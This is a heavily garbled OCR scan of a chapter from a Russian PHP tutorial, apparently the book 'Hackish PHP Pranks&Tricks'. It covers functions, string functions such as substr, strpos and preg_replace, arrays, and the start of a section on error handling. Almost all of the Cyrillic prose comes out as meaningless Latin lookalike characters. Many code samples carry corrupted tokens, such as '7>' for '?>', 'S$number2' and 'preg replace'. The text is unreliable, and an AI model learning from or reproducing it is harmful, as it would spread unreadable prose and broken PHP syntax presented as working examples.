MeH10. Jl1st BEIBOJIA KAXIOro M3 HUX HYXHO MO TPH CTPOMKM Koaa. Ha Bua oH He
TAKOM YK M CTpAlIHBINA. A eciM TakuX NMyHKTOB MeHio Oymer 20 wnu juis BbIBOAA
KaXJ/I0r0 W3 HUX MoHanoburcs He 3 cTpouku koaa, a 10?2 B atom ciyuae cTpoyxu
OyayT MOBTOPATHECS MHOFOKPATHO, M KO/ CTaHeT abCOMIOTHO HeYMTAeMBbIM. A €CTH
MpeicTaBuTh cebe CUTYalHio, YTO HYXHO M3MEHHUTh KAKyI0-TO CTPOUKY Ul KaX-
noro nyHkra medio!!! 3geck yxe HyxXHo npoussecty 20 M3MEHEHMH JUISl KAXIOTO
NyHKTa. 9TO 04Ye€Hb HeynoOHO, OTHUMAET MHOro BpeMeHH M abcomioTHo Hesd-
(hekTHBHO.

Jlst peleHust rocTaBIeHHOW 3aJa4d XOPOLIO [MOJAXOAUT HCIo/ib3oBaHue (yHK-
umit. Pynkuun 8 PHP cosnalores caenyoum obpasom:
function Mms (napamerpl, napamMeTp?, ...)
{
OnepaTop 1;
OnepaTop 2;

}

Paccmorpum paboty dyHKUMIT HA npuMepe, 4uToObl Bbl cpa3y YBHUAETH MX Tpe-
mmMyuiecTBo. Bor dyHKuMs, KOTOpas NOMKHA BBIBOAWTb HA SKPaH OOWH MNYHKT
MEHI0:

function PrintMenu($name)

{

print (" BR>");

print ("$name <BR>");

print (" ==== <BR>") ;
}

Tenepp, uToObl BEIBECTH HA 3KpaH OAMH MYHKT MEHIO, JOCTATOYHO BHI3BATH 3TY
(bYHKLHMIO TOYHO TAK K€, KAK Mbl YK€ MHOrO pa3 BBI3bIBAIM (DYHKUMIO print ().
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B kauyecrse mapameTpa HY>XHO TEpelaTh WM MEHIO, B KOIE 3TO MOXET GbiTh re-
peMeHHas WIH MPOCTO TEKCT:

Smname = "llouck";
PrintMenu ( Smname) ;
PrintMenu ("lNlewaTe") ;
PrintMenu ( "Buxon") ;

B nepsom cnyyae B Kayecrse napamerpa B cKobKax mnepenaercs nepemMeHHasi
$mname, B KOTOPOii COAEPXKMTCSI TEKCT Ha3BaHusi MeHIO. B ocranbHeIX cpasy ne-
penaercsi TeKeT MeHIo. MTak, MOXHO nepeiasath B (YHKLMIO HE TOJNBKO Mepe-
MEHHBIE, HO ¥ 3HAYEHMs], A TAKXKE Pe3YJIbTAThl BHITMOIHEHUs] APYrHX DYHKLIHNA.

Kak supure, obbspieHHas HaMu (ByHKUMA paboTaer Tak e, KAK U Te, YT yxKe
BcTpoeHb! B 6ubnnoreku PHP, nanpumep, QyHKUNS print (), KOTOPYIO Mbl yXKe
HEONHOKpaTHO ucnoib3oaiu. Bo Bpemsa obbsieneHuss GyHKUMH B CKOBKAX HYX-
HO yKa3aTh MapaMeTphl, KOTOPBIX MOXET ObiTh HECKOJIbKO, W MEPeYHCIUTh HX
yepe3 sanaTylo. CKo/IbKO MapaMeTpoB YKa3aHo B CKOOKAax, CTOJBKO MBI JO/IKHBEI
yKasaTh M MPH MUCTOJIb30BaHUN (DYHKIIUHM B CLIEHAPHH.

Tak uro xe Takoe dhyHkima? M3 npuMepos BUAHO, YTO (DYHKIHSI — 3TO UMEHO-
BaHHBIN (parMeHT Koaa, KOTOPhIA MOXET MPHHMMAThH MapaMeTpsl /Ui BHYTPEH-
Hero ucrojb3oaHus (06paboTKM) M BO3BpAIMATL PE3YILTAT (3TY BO3MOXHOCTH
MBI PACCMOTPUM HeMHOTO Huxe), DyHKUUIO clieyeT BLI3bIBaTh 10 HMeHHU. Takue
¢dparMeHTsl KOIa BBITOAHBI, KOTNA BRIMOJHAIOTCS HeopHoKpaTtHo. Yrobsl He no-
BTOPSATLCSI BO BpeMsi MPOrpaMMHpPOBaHNs, HEKOTOphIe (hparMeHThl KO ClieHapus
MoryT 6biTh oopmiaeHB! B BUe (PYHKUMIT U MCTIONB30BATECS B AAIbHEMILEM.

MYHKIHK TTO3BOJSIOT MHOTOKPATHO MCIMOJNb30BATH ONMH pa3 HAMMCAHHBIN KO
Hanpumep, ecnu B cueHapuu A onucaHa (YHKUUS, a ee HYXHO HCMOJIb30BATh
B cueHapuu B, To mpocro monkmiovaeM K ciieHapuio b daitn cuenapusi A u uc-
noib3yeM yxe HanucaHHbii Koa. Takum obpasoM MOXHO SKOHOMHTH KOA W lie-
Jatek ero yurabenbHee HE TONBKO BHYTPH OIHOIO CLEHApHs, HO M JJIsl HECKOIb-
KHX CLEHAPHEB OIHOBPEMEHHO.

C nomouibio (pyHKUMH MbI HE TOMBKO YNPOILAeM TPOLEce MporpaMMHUpoOBaHHsI,
HO U nemaeM koi 6osee MOHATHBIM U Npu 3ToM Gosmee GuicTphIM. B ueM npuyuHa
yBenuyenust ckopocti? B criocobHocTH (GyHKUMI yMeHbLIATh Koi. Yem MeHbllle
(aiin, TeM MeHbllIe BpEMEHM HYXKHO Ha €ro 3arpyskKy, MeHbIlIe MCMOMb3yeTcs na-
MATH CepBepa U MeHblle CTPOYEK HYXKHO MHTeprnpeTHpoBaTh. Takum obpa3soM MbI
HE NpocTo yOUBaeM HECKOJIBKO 3aiflieB, a paspbiBaeM MX B KJIOYBS.

C napyroit cTropoHbl, GYHKUMH MOTYT YXYALIMTH MPOU3BOAUTENLHOCTE, NMYCTh M
He3HayuTeNbHO. Takas CUTyalMsi MOXET BOSHUKHYTh, €CIM B TEYEHUE CLEHApH
(byHKUMS BRI3bIBaeTCSl TONBKO OfAMH pa3. Ecin Takoil koa BeIMOAHATEL 6e3 dyHK-
LUK, TO WHTEPPETATOP MPOCTO MOCIE0BATEIBHO HOMKEH BLIMOJHATE BCE OMe-
paropsl cueHapusi. Ecnu ectb yHKLMS, TO WHTEPIPETATOPY MPUXOMUTCS Mepe-
CKAKWUBaTL B JIpyroe MecTto cueHapusi W obpabarblate ero, rmocjie 4Yero
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BO3BpalliaTbecsl HA MCXOAHYIO TMO3ULIMI0 W Tpomo/kars paGory. M3-3a auummx
MepexooB CKOPOCThb BBIMOIHEHHS] HEe3HAYMTENLHO YMEHbLIAeTCs, HO, HECMOTps
Ha 3TH KPOXOTHLIE MOTEPH, OAHOPAZOBBIMU BHI30BAMM (DYHKLIMH Jyulne He npe-
Hebperats.

Ecmu yHKIMSA COCTOMT TONBKO M3 OJHOM CTPOYKH KOAA, TO OHA TAKKE MOKET
[IPUBECTH K MOTEPSIM B NPOM3BOAUTEBHOCTH. B 5TOM cliyyae MHTEpnperarop co-
BEpIUAET CKAYKU Palu ONHOW CTPOUKH, KOTAA MOXHO ObUIO Obl BHIMONHUTE ee 623
JIMIITHUX MEPEXOI0B.

Ho y dyHKuuil, cocToAIMX U3 OOHON CTPOUKH, €CTh CBOE MpeumyliecTBo. Mx
MOXHO BDCHPHHHMEITB KaK KOHCTAHTBhI KOIa. D,OTI)I'CTHM, YTO Yy Bac B nporpamme
B HECKOJIBKMX MecTaX MPOMCXOAUT BHIBOI HA 3KPAH OMMpeaelleHHOro 3HAUEHM,
yMHoxeHHoro Ha umncio 3. Takas dyHKUMS MOXET BBIIIAAETH CIeaylouuM ob-
pasom:

function PrintMenu ($number)
{

print (Snumbex*3) ;

}

Bpone 6b1 oaHa crpouka, U Her cmbicna odopmisits ee B Buae dyukuun. Ecin
Bbl obouuiuce Ges ¢yHkuuu ¥ B 10 Mectax mporpamMmbl MPOCTO HAMMCATH
print ($number*3), TO MOXeTe CTONKHYTLCS ¢ npobaemoii KoHcraHT. [pencrass-
T€, YTO HAmo U3MEeHHMTh uuciio 3 Ha 4. [Inst 3T0ro HYXHO MepecMoTpeTh BECh Ko/,
W HeT rapaHTHU, YTO Bbl HUYETO HE YIYCTHTE.

WTtak, dyHKUMN HEOOXOIMMBI B TeX CAy4asX, KOraa HYXHO BBIMTOIHHTE CXOXM
KON HeckoabKo pas. Jlyuiie Bcero, eciu B (DyHKUMIO MOMELIAETCS HECKONBKO
cTpoyek Kopaa. (PYHKIMI0 MOXHO MCIIOJNB30BaTh W C OMHOCTPOYHBIM KOIOM, HO,
[IaBHOE, HE 3JI0YNOoTPedsiTe 3TUM M MOCTYNAaTh TaK, TOJbKO €CNM Kol HeicTu-
TEJIbBHO MOXET M3MEHHTBCS 4Yepe3 OMpeleleHHOE BpeMsl M BBIMOJHAETCA CIMLI-
KOM MHOTO pa3, 4ToOkl MPOU3BOAMTE M3MeHeHUs BpyuHyo. [loaymaiite, He nyy-
IIe JIM MCIONB30BATL KOHCTAHTHI (B TIPMBEICHHOM BBILIE MpUMepe Yucio 3
MOXXHO 3aME@HHUTh Ha KOHCTAHTY).

JlaBaiite paccMOTPUM NPHUMEpPbI UCIOAL30OBaAHMS (DYHKIMH 1 obcyaum mpobiemi,
KOTOpBIE MOTYT BO3HMKHYTb NpH 3ToM. BarigHem Ha auetuur 2.12.

TR S A e e

NucTunr 2.12. Mp

<HTML>

<BODY>

<?php

function print_max($numberl, S$number2)
{
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print ("$numberl > $number2 = ");

if (Snumberl>S$number2)
print ("true <BR>");
else

print ("false <BR>");

print_max(10, 435);
print_max(3240, 2335);
print_max(sdf23, 45);
print_max(45) ;

7>

</BODY>

<HTML>

B 3toM npumepe obwsipieHa (yHKUMS print_max (). Eii nepepaiores nsa napa-
MeTpa: $numberl W $number2. Eciu nepselii napamerp Oonblle BTOPOro, To
¢yHkums orobpaxaer Ha SKpaHe true, HHAYe false.

IMocne obbaBneHuss (hyHKUMHM OHA BhbI3bIBAeTCA 4 pasa ¢ pasiMMHEIMHM MapamMer-
pamu. [lasaiiTe MOCMOTPUM, Kakoil Monydurca pesyabraT. OH HEHCTBUTENBHO
MHTEpeceH, ITOTOMY YTO B TPEThEM BbI30BE OAMH M3 MAPAMETPOB CTPOKOBBIN,
a B MOCJHeIHEM BMECTO ABYX MapaMeTpoB MepeiaeTcs TOMbKO OJUH:

435 > 10 = true

2335 > 3240 = false

45 > sdf23 = true

Warning: Missing argument 2 for print_max() in /var/www/html/1l/index.php
on line 10

45 > = false

C nepBbIMH [BYMSI CTPOYKAMH He BO3HMKAeT mpobseM, MOTOMY 4TO B HUX [epe-
galres yucna. B Tperbeit cTpouke BTOpOi mapamerp CTPOKOBBI, MOTOMY 4TO,
MOMMMO YHCEJ, CONEPXHT elie U cumsobl. MHTepnperatrop PHP npocro ot6po-
CHJI CHMBOJIBI M OCTABWJI TOJIBKO YWC/IA, U CPABHEHUE MPOMCXOIUIO MEXIY HUMH.
Bbl 1O/DKHBI 3HaTh U MOHMMATh 3Ty OCOOEHHOCTh NpeobpasoBaHus THIOB, KOTO-
poe MPOUCXONNT aBTOMATHYECKH.

Ecnu nepeaars TOJNBKO OIWH MAapaMeTp, TO pe3yibTaT OKaxercs Haubonee uHTE-
pecHbiM. Ha skpaHe mosBHIIOCE cOODIIeHHEe O TOM, YTO OTCYTCTBYET BTOPOif ma-
pamerp. Ho, HecMmoTpsi Ha 31O, nMpoBepka 6bina npousseneHa. Camoe cTpaHHoe,
YTO pe3ynbTaT okasaicd false. Bropoii napameTrp OTCYTCTBYeT, M IO 33aKOHaM
JIOTUKH WHTEPIIPeTaTop IO/DKeH Gbil UCIOJMB30BaThH HYJEBOE 3HaueHWe. A eciiu
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cpaBHUTh uneno 45 u 0, To nepsoe Gyner Gofbiiie, a IHAYUT, PE3YbTAT JO/IKEH
Ob1 ObITh paBeH true. Bl O/DKHBI Beeraa MoMHUTL 00 310 0coGeHHOCTH.

Ecnu ¢yHkumu nepenars JUiHUE apryMeHTHl, To OHM OyayT orbpourensl. B jan-
HOM clyyae MpeAynpexaeHue MOMOXeT BaM ONpeAeNuTh HEenpaBUIIbHBIH BBI3OB.
Bbl nomKkHbI yOpaTh NHIIHHE NApaMeTpbi W BLISICHUTH MPUYMHY omnbku. Bos-
MOXHO, 4TO HApPYLICH MOPALOK Nepeiavyn napaMerpos.

[Mopsinok mepemayn O4EeHb BaXeH, Belb CHAEAYIOLUIME [ABa BbI30BA (DYHKLMH
print_max () JauyT pasHelif pe3yJbrar:

print_max(10, 20);

print_max(20, 10);

3aech mepenaioTesi OAHM M Te XKe YHCia, HO B MEpPBOM cliyuae pesynbrar Gyner

false (nepBblif napaMeTp MeHblle BTOPOro), a BO BTOPOM — true (NepBblif na-
pamerp Golibllie BTOPOTO).

K Mpumeyanne }

MexopHeiit kog wa nuctudra 2.12 ebl MoxeTe Haiv B chaiine \Chapter2\functions1.php
Ha KOMMakT-Aucke, npunaraemom K KHure,

2.9. OcHoBHble PyHKL UK

B asbike PHP nocrarouno mHoro ¢pyHKUMIA, KOTOPEIE Bbl MOXETE HCIOIbL30BATh
fpH HarucaHum coberBeHHbIX cleHapues. [ToapobHo obeynuTh UX Bce B Takoi
KHHTE MPOCTO HEBO3MOXHO, 1a U HE HYXKHO, ITOTOMY YTO 3TO He cnpaBouHuk. Ho
paccMoTpeTh OCHOBHBIE (DYHKIIMU, KOTOpbIE HaMm MoHamobsTcs B OymyiieM, npo-
cro HeobXonumo.

DyHKuua substr

OyeHb YacTO HAM HYXHO MOJYYUTh ONpeEeNeHHbI yJacToK cTpoku. st 31oro
ucnonbayerca GyHKIMS substr ():

string substr(string string, int start [, int length])

Y sT0i QyHKUMH TPU Mapamerpa:

O crpoka, NOJACTPOKY KOTOPOH HeobXONHUMO MONYyYNTh,

0 HOMep CMMBOA, HAYUHAS ¢ KOTOPOTo HY)XHO BEPHYTH CUMBOJIBL,

0 Heobsi3aTe/IbHBIH MapaMeTp, YKasbiBalOUIMH HAa KOJMYECTBO BO3BpAllLl@eMbIX
CHMBOJIOB, HAYMHAA C MO3WLMK BO BTOpoM napamerpe, Ecau aToT mapamerp
nycroil, To OyayT BO3BpallleHhl BCE CUMBOJBI O KOHLA CTPOKM, HauMHasl
C MNO3ULHH start.
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INpu ykazsanuu MO3MLIMK CUMBOJNOB BBl JOKHBI YYUTHIBATH, YTO CHMBOJBI B
cTpoke HymepyloTtes ¢ Hyasi. B kauectse pesynbrara (hyHKUMS substr () BEpHeT
yKasaHHbli Habop cumBosos. Pacemorpum npumep (imcetuur 2.13).

<?php

// Tpumep 1

$Sub_string = substr("Hackish PHP", B, 3);
print($Sub_string) ;

print("<br>");

// Tpuvep 2

$Sub_string = substr("Hackish PHP", 8);
print ($Sub_string) ;

print("<br>");

// Npmaep 3
$Sub_string = substr("Hackish", 0, 4);
print ($Sub_string);

7>

B nepsbix aByx mpumepax Mbl sanpawiuBaeM u3 crpoku "Hackish PHP" wacrs,
HaunHag ¢ 8-ro cumBona. ToabKO B MepBOM MpPUMEpe 3anpailnBaioTest TPU CHM-
BOJIA, 4 BO BTOPOM KOJIMYECTBO CHMBOJIOB He yKasbiBaercsi. B pesysibrare Mbl 1mo-
JiydaeM OIHY M Ty Xe noxactpoky — "PHP".

B tpeTheM nmpumepe MBI 3ampauIMBaEM YETBIPE CHMBOJIA, HAYUHAS C HYIEBOTO, OT
cnosa "Hackish" u B pesynsrate monmygaem cioso "Hack".

DyHKUuA strien

DyHKUMA BO3BpAILAET UIMHY cTpoku. B KauecTse napamerpa yKasbiBaeM CTPOKY
WIH NEpeMEHHYIO, COIEPXKALILYIO CTPOKY, @ Ha BhIXOJE MoJyyaeM [UIHHY.

®yHKuua sirpos

Hepenko BO3HMKAeT HeoOX0AMMOCTb pasobparb CTPOKY Ha cOCTaB/siiolue WiH
HaliTH B CTPOKE OMNpele/eHHbIf CHMBOJI WIH coyeraHue cumponoB. s atoro
ucnonb3yercs GYHKUMA strops (), KOTOPOii MepenaloTes TpH napamerpa:

O crpoka, B KOTOPOif HYXXHO MCKaTh MOJCTPOKY;
O roAcTpoKa, KOTOPYIO Hallo HaWTH;
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O no3uuMsi, HAYMHAA C KOTOPOil HY)XXHO MCKaTh (HeoOs3aTe/ibHBIN Mapamerp).
Ecjin mapamerp He yKasaH, TO MOMCK MOACTPOKM OyneT Nmpou3BOAMTHLCH, Ha-
YUHAs ¢ TIEPBOT0 CHMBOJIA CTPOKH.

Paccmorpum mpumep. [lomycTuM, 4TOo HYXKHO Haiith cioso "PHP" B crpoke
"Hackish PHP Pranks&Tricks". lia 3T0ro Hanuuem cieayiouylo cTpouKy:

$index = strpos("Hackish PHP Pranks&Tricks", "PHP");

Ecnu BBIMOMHUTE 3TY KOMaHY, TO B MEepeMeHHOi $index OyneT HAXONMTHCA “mMC-
Jjo 8, motomy urto "PHP" nanucaHo B ykazaHHoIl cTpoke, HaunHas ¢ 8-ro cuMBona.

YenoxuuM 3amauy. JomycTHM, YTo HYXHO pasbuts cTpokKy Ha ciosa. st aroro
HyXHO HaiTH Bce nmpobesnbi. Kak 310 peanusosars? CHauana HyXHO HalUTH nep-
BBl mpobet:

S$index = strpos("Hackish PHP Pranks&Tricks", " ");

B pesynbrare BhIMOMHEHMST 3TOH CTPOKM Mbl MOAYYMM B MNepeMeHHOW $index
yueso 7. Kak tenepb HaiitH Bropoit npoBen? HyxXHo MOBTOPUTL NMOMCK, HO HC-
Karb yxe, HaunHas ¢ 8-ro cumBona. Koa Gyner BuiDasneTs cieaylommum obpasom:

$index = strpos("Hackish PHP Pranks&Tricks", " ", Sindex+l);

Ha stor pasz Mbl yKasanu TpeTHil napamerp, KOTOphIH KaK pa3 W 3anaeT Hayajib-
HYI0 MO3MUKMIO oMcKa. B kavecTse 3HaYeHUs! MBI NepesaeM NMEepeMeHHYI0 $index
(oHa copepXHuT Yucao 7 nocie moucka nepsoro npobesa), yseauueHHyo Ha 1.
Tlpu paGote c (yHKuMEH strpos () Bbl A0JKHBI YUUTHIBATh, YTO €CJW NMOACTPOKA
He HaitneHa, To pe3yibratoM Gyner HyleBoe 3HaYeHue.

Owmnbku obpabork cTpoK — 3TO0, HaBepHoe, HaubGonee wactbie OWHOKU Tpo-
TPaMMMCTOB, HE3aBHCHMO OT SI3bIKA TpOrpaMMupoBaHMs. sl ceTeBbIX TpHio-
XKEHMI 2TH OLIMOKH MOryT OKasaTthCsl (paTajibHbIMM, MO3TOMY PAacCMOTPUM MpH-

Mep, B KOTOPOM BBl YBUIWUTE HEKOTOpbie MpobieMel, BOZHMKAIOWKUE nMpu pabore
¢ 9TOH (hyHKIIHEI.

Hrak, nonyctuM, 4To HaM HYXHO pasbuth cTpoky Ha ciopa. [enaeMm sto cre-
AyiouuM obpasom:
<?php
$start = -1;
$text = "Hackish PHP Pranks&Tricks";
while ($start<>0)
{
$end = strpos($text, " ", $start+l);

if ($end==0)
$word = substr($text, $start+l, strlen(Stext)-$start-1);
else

Sword = substr($text, S$start+l, $end-Sstart-1);
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print("Word: Sword; <BR>");
$start = $end;
}

7>

[ns Hayaga co3faeM TEepeMeHHYKW S$start, rle Oyaem coXpaHsTh WHIIEKC Haii-
neHHoro cumsosa. [MepemeHHol mpucsanpaeM 3HaueHue —1.

OcHopa pa3zfopa cioBa — 370 UMK, B KOTOPOM Mbl MileM ouepeaHoif npoben u
nojyvyaem HaliieHHOE CJIOBO. Mouck npoﬁe.na HauHHaeTcsd ¢ CHMBONA Sstart+1.
Ha nepBom ware umkna sro Gymer 0, a Ha mnocneaylomiMx liarax — CHUMBOI,
crosuinit 3a npobeirom. Homep cumpona npobena coxpaHsieM B MepeMeHHOM
send. Ecnu pesynbrar paseH HYyI0, TO KOMUPyeM BCE OCTABLIMECH CHMBOJBL H0
KoHI1a crpoku MuHyc 1. Ecnu pesyasrar moucka He HY/leBOil, TO KOMUpPyeM CHM-
BOJIbI OT MO3WLIKAM $start [0 MO3ULMUU $end MUHYC 1.

IMoyemy MBI NMpHU KONMUPOBAHMHM OTHUMAeM 1?7 DTo AeHCTBUTENBHO BAKHO MOHU-
Mmarh. [leio B TOM, 9TO €cjIH HE OTHATh EAWHMILY, TO B PE3yJLTAT NOMAgeT He
TONBKO cJ10BO, HO U npoben. Ecnu BeiBecTu Takoe cioBo B HTML-crpannue u
npubaBuTh elle npoben, To BBl HUUETO HE 3aMeTHTe, MOTOMY YTO ABOIHHBIE TPO-
GesTbl He BBIBOOSITCS HA 5KpaH. MHOXecTBEHHbIe Mpo6enbl coKpalaTes 10 Ol-
Horo. Takum o6pasoM, Bbl MOXeTe Mporsiaers rnpobiaemy, Ho eciu o6pabaThiBaTh
IBOIHON mpoben B KoIe, MOTYT BO3HMKHYTh cepbe3Hbie HenpusTHoctd. Hampu-
Mep, ecii pazbuBaTh MO CHOBAM CIEAYIOULYIO CTPOKY:

Hackish PHP Pranks&Tricks

TO pPe3yNbTaT OKAXKETCS HEeoXWUIAHHBIM IUIS Bac, NMOTOMY YTO MEXAY CJIOBAMHU
CTOSIT MHOXECTBEHHbIE MPoOe/bl, ¥ Bl MOAYYUTE CAWILIKOM MHOIO CIIOB, NMpUYeM
HEeKOTOpBIE BYIyT MyCThIMU. DTy MpobieMy yxe OyjeT cloXHee peiinThb.

DyHKUmnA preg_replace
DyHKUKS preg_replace () OCYIUECTBASET MOUCK W 3aMEHY B CTPOKE C MOMOILLBIO
peryasipHeIX BbIpaxkeHWil. PerynasipHbie BblpaxeHusi Mbl OyaeM paccMmaTpuBaTh
B pasdene 3.6. WYHKINS BBISIINT clieayiouuM obpasom:
mixed preg_replace (

mixed pattern,

mixed replacement,

mixed subject

{, it 1imit])
Kak sumure, y pyHKUMM yeTbipe rapamerpa, rnepsbie TPW SIBASIOTCS 0bA3aTeNb-
HbIMH. PacecMoTpuM, 4TO 3TO 3a NapaMeTpshl:

(] pattern — peryisipHOE BhIpAXeHHE, KOTOPOE YKasblBAET HA TO, YTO HYXHO
MCKaTh;
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O replacement — HaiijleHHOe BbipaxkeHHe OYIeT 3aMEHEHO HA YKa3aHHOEe B DTOM
napaMeTpe 3HAYeHHeE;

0 subject — CTPOKA, B KOTOPOi HYXXHO MCKATh;

0 limit — yKa3blBAET HA KOJMYECTBO HANMEHHBIX BBIPAXKEHHWH, KOTOpbIE HANO
3AMEHUTD.

Pesynbratom BeinojHeHust dyHKIMU Oyner crpoka, B KOTOpOH Bce HaifIeHHEIE
BBIpAXKEHUS 3aMEHEeHBI HOBBIM 3HAYEHUEM.

MBI oKa He 3HAEM PEryAAPHBIX BHIPAKEHUN W HE CMOXEM paccMOTpeTh UHTE-
pecHbIX MPUMEPOB, MO3TOMY OrpaHHYMMCs 3aMeHOoi cioBa. YTobkl 3aMEHHTD e~
JIOE CJIOBO MJIH MOCHEHOBATE/ILHOCTE OYKB, MX HYXHO 3aKIIOYWTE MEXIY CHMBO-
gamu "/" u B KoHue Hanucath 6yksy "i". Hanpumep, "/cioso/i". B cneayioluem
npuMepe Mbi MEHSIEM B TEKCTOBOI crpoke ciioBo "world" Ha "Sam" u BbiBoIMM
ero Ha 3KpaH:

Stext= "Hello world from PHP";

$newtext = preg replace("/world/i", "Sam", S$text);

echo (S$newtext);

QyHKIUA preg_replace() MOKA3aHa 3[ech UL TOro, YTOGBl Bl 3HANH O Cyle-
cTBOBaHMU Gosee MOUIHBIX cpeacTB. ONUCHIBATE PEryisipHbIe BhIPAKEHUS ceiidac
elle paHo, HO MPOCTEMIUMI NpUMEp MNOKA3aTh HYXHO, 4TOObI MOC/IEAYIOLIHH
pasrosop Ok Bosiee MOHATHBIM.

@yHkuusa trim

@DyHKIMH TepenaeTcsl CTpoka, 4 B KA4YecTBE pe3yjabraTa Mbl IMOJIydyaeM Ty xe
cTpoKy, Ho 6Ge3 1pobesios B Havajle U B KoHLEe cTpokH. Hanpumep:

Stext = trim(" Hackish PHP Pranks&Tricks 1

B pesynbrate npoGenos B Hauaie U KoHie He Oyjer.

2.10. Maccusbl

MaccuB — 3TO CMHMCOK 3HAYEHHH, LOCTYM K KOTOPHIM MOXHO MOAYYHUTH C MOMO-
1IbI0 OJIHOI TOJIBLKO fepeMeHHoi. JlocTyn K 3jeMeHTaM MaccuBa obecrieyuBaercs
C MOMOLIBIO WHAEKCA, B KAYECTBE KOTOPOrO MOXKET BLICTYNATb CJAOBO WK HMCIO.
Ecjin 370 YMCIOBOWH MHIEKC, TO OH HYMEpYeTCsl ¢ HYJIS.

Maccubbl MMEHYIOTCSI TAK e, KAK M MepeMeHHbIe, HO Nocjie MMEHM YKa3hiBaloT-
csi KBauparHelie ckoOku. B cienyiouiem npumepe B MaccuB Ao0aBasiioTcs TPH

" oo"n

ciosa "topt", "xie6" U "MopKoBb":
$goods|[]= "mopT";
Sgoods[]= "unet";

Sgoods[]= "MopkoBb";
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YroObl BBIBECTM HA IKPAH HYNEBOH DJIEMEHT, HAMMLIEM HMS MepeMEHHOIT,
a B KBAIpaTHBIX cKOOKax yKaxeM WHTepecylouuit Hac snement. Hanpumep:

print ("<P> $goods[0]");

B nanHOM mpumepe Bo Bpemsi JOGaBIEHHs 3AEMEHTOB K MACCHBY MBI HUYEro He
YKA3bIBATH B KBaIPaTHBIX CKOOKAX, MO3TOMY KaXKIOMY HOBOMY 3JIEMEHTY IPHCBaM -
BaeTcsl OuepenHOH MHIEKC, KOTOPLIN yBeIuuuBaercs Ha eauauily. Bo Bpemst cosna-
HHSI MACCHBA BbI MOXETe SIBHO yKa3aTh MHIEKC Kaxkioro anemenTa. Hampumep:

$goods [0]= "Topr";

Sgoods[l]= "xnet";

$goods [2]= "mMoproBL";

Dror crnocob ynobHee, MOTOMY UTO BbI KOHTPOJNMpPYETE MHJEKCHI, KOTOpbIE HC-

MOJb3YETE. ﬂp‘u 3TOM MOXHO OOBSBIATE IEMEHTHI B JoGOM NMopsIKe " Heobs1-
34TeJIbHO MCNOJB30BATE MOCJIEA0BATCIIBHO HAYLIHE HHICKCDI. Hanpnmep:

$goods [3]= "TopT";

$goods[9]= "xneG";

Saocods [2]= "MOpkrOBB";

ITocmoTpuM, YTO MOJYYHMTCS, eClK J10BABUTL HOBBINH 2MEMEHT K 3TOMY MACCHBY
6e3 ykasaHusl HHIEKca, T. €. CleayloluM obpasoMm:

$gocds(]= "kaprodens";

Dromy anemMeHTY OyIeT NpUCBOEH MHIEKC, KOTOPHIH okaxeTcs Ha | Gonplie Mak-
CUMAJIBHOTO M3 CYLIECTBYIOIMUX, T. €. yuciho 10,

B cnenyioiieM npuMmepe MokasaHo, KaKk MOXHO CO3/1aBaTh MAcCHBBI, B KOTOPBIX
B KayecTBE MHIEKCOB BBLICTYNAIOT CHMBOJIbL

$goods ["ca"]= "ropr";
$g°0d3["b“ = "XJI&G",'
$goods ["cr"]= "mOpxOBR";

echo($goods["b"]) ;

Kak BuauTe, pazHuLia MeXIy YHCIOBBIMU H CUMBOIBHBIMU MHIEKCAMH HEBEJIMKA.

Bonee uHTe/IeKTYaIBHBINH cnocob co3gaHns MacCHBOB — MCIONL30BaAHNE (PYHK-
IIMH array():

Sgoods = array("ropr", "xne6", "mopxoBr");
B gaHHOM cilyuyae TepeMeHHasi MacchBa BBIMISIUT TaK e, Kak u Jobas apyras
nepeMenHas. Eif npucsauBaercsi MaccuB, co3laHHbIli (DyHKUMEH array(), ¥y KO-

TOpoil B CKOOKax MepeyMClieHbl IEMEHThl MaccuBa. DTHM 3jieMeHTaMm OyayT
NPUCBOEHbI MHIEKCH, HaYuHas ¢ 0 u 10 2.

C nomoliibio QYHKUMHU array () MOXHO CO31aBaTh MACCHBLI U C CHMBOJBHBIMHU
unnexcamu. Hanpumep:

$goods = array("ca" => "vopr", "b" => "xne6", "cr" = "carrot")
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CoorBercTBHe MHIEKCA MMEHW 2JeMEHTAa MAcCHBa HYXHO IHCaTh CHEAYIOIMM
obpazoM!

"uunexc" => '"sHaueHue"

Tak Kak MHOEKChl B MAacCHBE MOrYT MATH HE [0 TIOPAAKY, TO HaM HeobXomuMm
croco® co3maHMsl LUMKIA, B KOTOPOM MOXHO NPOCMOTPETh BCe ajeMeHThbl. s
3TOro MPOILLe BCEro UCMOJb30BaTh LMK foreach, KOTOPBIH MBI €111€ He OOCYXINaH:

foreach (array as [Skey => ] $value)

onepaTop;

Ecnu ykasaHa nepeMeHHasi $key (MMs nepeMeHHOM MOXET OBITh APYrUM), TO
B TeJe LUHMKIA YEepe3 3Ty MEepeMEHHYI0O MOXHO MOJYYHTb AOCTYN K HHOEKCY 3Jie-
MmeHTta. Yepes nepeMeHHYy0 $value MOXHO MOJYYUTHb HAOCTYN K 3HAYEHHUIO 3Je-
MEHTA Maccusa.

PaccmorpuM npumep, B KOTOPOM BBIBOAATCSl HA 3KpaH 3HAYCHUs WHIEKCOB
M 3HaYEHUS BCEX IEMEHTOB MAaccHBa:

foreach (Sgoods as $Ind => $Val)

{
print ("<P> index: $Ind <BR>value: $Val");
}

s paboTel ¢ MaccuBaMi B HallleM PacropsKeHHM H0CTATOYHO MHOro (hYHKIIMA,
HO MbI TTOKA PACCMOTPHMM TOJBKO OOHY — count (), KaK Haubosee YacTo UCMONb-
ayemyio. @YHKILHMH count () B KayecTBe MapameTpa HYXXHO MepeaaTh WMs Maccu-
Ba, @ B KAYECTBE pe3y/ibTara Mbl MOJYYUM KOJIHUYECTBO 3/eMEeHTOB maccusa. Ha-
npumep:

echo (count (Sgoods) ) ;

2.11. O6paboTtka ownbok

Ilpu onpeneneHHsIX HacTpoikax coobuieHusi o6 oumbke MOXeT u He ObiTh,
a B pedIbHLIX YCIOBUAX SI PEKOMEHIyI0, 4yTobbl ero He Gputo. JluliHee coobiie-
HMe [Wisl Xakepa — 3TO MOJA0POryd Ha IMyTH K B3omy. HanpumMep, MHe Takoe co-
obleHHe roBOpUT O TOM, YTO CLIEHAPUI HE MpOBEPsIeT KOMWYECTBO MapaMeTpos, a
3HAYUT, MOXET M HE TMpPOBEPUTh MPABMILHOCTH BbI30BA (YHKLHU system,
O6 onacHOCTH MpUMEHEHHs 3TOH (DYHKLMH MBI ellle TTOTOBOPUM M He pas.

B rectupyemoii cucteMe Bce cooBLIEHHS NOMKHBL BHIBOAWTHCS HA SKpaH, MHaye
